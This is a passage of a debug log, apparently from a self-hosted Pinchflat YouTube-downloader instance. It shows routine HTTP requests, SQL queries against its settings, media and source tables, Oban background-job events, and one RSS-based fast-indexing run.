s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:05.831 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:05.832 [info] Sent 200 in 2ms 16:07:25.460 [info] GET /media/50105db7-92fb-4a77-8e04-d67f5f9480eb/episode_image.jpg 16:07:25.460 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "50105db7-92fb-4a77-8e04-d67f5f9480eb"} Pipelines: [:maybe_basic_auth] 16:07:25.460 [debug] QUERY OK source="media_items" db=0.0ms idle=520.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["50105db7-92fb-4a77-8e04-d67f5f9480eb"] 16:07:25.461 [info] Sent 200 in 552µs 16:07:27.118 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:57.119 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:00.714 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:08:06.804 [info] GET /media_profiles/1/edit 16:08:06.804 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 16:08:06.804 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1864.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:08:06.804 [debug] QUERY OK source="settings" db=0.0ms idle=1864.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:08:06.804 [debug] QUERY OK source="settings" db=0.0ms idle=1433.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:08:06.804 [debug] QUERY OK source="settings" db=0.0ms idle=865.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:08:06.805 [info] Sent 200 in 1ms 16:08:27.120 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:57.121 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.715 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:09:06.192 [info] GET /sources/1/media/7 16:09:06.192 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "7", "source_id" => "1"} Pipelines: [:browser] 16:09:06.193 [debug] QUERY OK source="media_items" db=0.1ms idle=1253.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7] 16:09:06.193 [debug] QUERY OK source="tasks" db=0.0ms idle=762.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [7] 16:09:06.193 [debug] QUERY OK source="sources" db=0.0ms idle=253.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:09:06.193 [debug] QUERY OK source="settings" db=0.0ms idle=253.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:09:06.193 [debug] QUERY OK source="settings" db=0.0ms idle=253.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:09:06.194 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:09:06.194 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:09:06.194 [info] Sent 200 in 1ms 16:09:27.122 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:52.218 [info] GET /api/v1/videos 16:09:52.218 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:09:52.241 [debug] QUERY OK source="media_items" db=22.8ms idle=1278.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:09:52.303 [info] Sent 200 in 85ms 16:09:52.440 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/episode_image.jpg 16:09:52.440 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 16:09:52.440 [debug] QUERY OK source="media_items" db=0.2ms idle=962.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 16:09:52.463 [info] Sent 200 in 22ms 16:09:55.930 [info] GET /sources/1/media/2 16:09:55.930 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "2", "source_id" => "1"} Pipelines: [:browser] 16:09:55.930 [debug] QUERY OK source="media_items" db=0.1ms idle=1990.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [2] 16:09:55.930 [debug] QUERY OK source="tasks" db=0.1ms idle=1990.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [2] 16:09:55.930 [debug] QUERY OK source="sources" db=0.1ms idle=1990.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:09:55.931 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=1449.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [9] 16:09:55.931 [debug] QUERY OK source="settings" db=0.0ms idle=448.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:09:55.931 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:09:55.931 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:09:55.931 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:09:55.932 [info] Sent 200 in 2ms 16:09:57.123 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:00.716 [info] {"source":"oban","duration":272,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:10:15.764 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/episode_image.jpg 16:10:15.764 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 16:10:15.764 [debug] QUERY OK source="media_items" db=0.1ms idle=1257.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 16:10:15.787 [info] Sent 200 in 22ms 16:10:16.028 [info] GET /media/d7148368-8a81-43d0-9042-4bae425b8c72/episode_image.jpg 16:10:16.029 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "d7148368-8a81-43d0-9042-4bae425b8c72"} Pipelines: [:maybe_basic_auth] 16:10:16.029 [debug] QUERY OK source="media_items" db=0.2ms idle=1089.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d7148368-8a81-43d0-9042-4bae425b8c72"] 16:10:16.029 [info] Sent 200 in 633µs 16:10:27.124 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:41.247 [info] GET /sources/1/media/4 16:10:41.247 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4", "source_id" => "1"} Pipelines: [:browser] 16:10:41.247 [debug] QUERY OK source="media_items" db=0.1ms idle=714.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4] 16:10:41.248 [debug] QUERY OK source="tasks" db=0.1ms idle=307.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4] 16:10:41.248 [debug] QUERY OK source="sources" db=0.1ms idle=307.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:10:41.248 [debug] QUERY OK source="settings" db=0.0ms idle=308.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:10:41.248 [debug] QUERY OK source="settings" db=0.0ms idle=308.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:10:41.248 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:10:41.249 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:10:41.249 [info] Sent 200 in 2ms 16:10:53.554 [info] {"args":{"id":2},"id":699,"meta":{},"system_time":1784909453554625384,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:10:53.555 [debug] QUERY OK source="tasks" db=0.5ms idle=615.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:10:53.556 [debug] QUERY OK source="sources" db=1.7ms idle=614.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:10:53.556 [debug] QUERY OK source="sources" db=1.1ms idle=615.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:10:53.557 [debug] QUERY OK source="settings" db=0.5ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:10:53.557 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:10:53.557 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:10:53.557 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 16:10:53.681 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 16:10:53.681 [debug] QUERY OK source="media_items" db=0.2ms idle=124.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 16:10:53.681 [debug] QUERY OK source="media_items" db=0.2ms idle=124.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:10:53.682 [debug] QUERY OK source="tasks" db=0.0ms idle=124.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [702, 2, ~U[2026-07-24 16:10:53Z], ~U[2026-07-24 16:10:53Z]] 16:10:53.682 [info] {"args":{"id":2},"id":699,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":128021,"event":"job:stop","queue_time":282370,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:10:53.683 [debug] QUERY OK source="tasks" db=0.0ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:10:57.125 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.717 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:11:02.274 [info] GET / 16:11:02.274 [debug] Processing with 